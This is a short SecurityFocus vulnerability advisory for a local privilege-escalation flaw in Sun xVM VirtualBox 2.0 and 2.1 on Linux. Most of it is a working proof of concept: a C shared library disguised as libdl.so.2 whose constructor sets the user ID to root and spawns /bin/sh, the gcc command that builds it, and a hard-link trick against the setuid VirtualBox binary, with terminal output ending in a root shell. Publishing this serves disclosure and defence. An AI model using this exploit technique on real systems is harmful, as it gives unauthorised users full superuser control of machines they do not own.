source: https://www.securityfocus.com/bid/34080/info

Sun xVM VirtualBox is prone to a local privilege-escalation vulnerability.

An attacker can exploit this vulnerability to run arbitrary code with superuser privileges.

The following versions for the Linux platform are vulnerable:

Sun xVM VirtualBox 2.0
Sun xVM VirtualBox 2.1

$ id -u
1002

$ cat test.c
#include <unistd.h>
#include <sys/syscall.h>
__attribute__((constructor))
void awesome(void)
{
        char *argv[] = { "sh", NULL };
        extern char *environ;
        syscall(SYS_setuid, 0);
        syscall(SYS_execve, "/bin/sh", argv, environ);
}

$ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2

$ ls -l /opt/VirtualBox/VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox

$ ln /opt/VirtualBox/VirtualBox

$ ls -l VirtualBox
-r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox

$ ./VirtualBox
./VirtualBox: /home/vapier/libdl.so.2: no version information available
(required by ./VirtualBox)
sh-4.0# whoami
root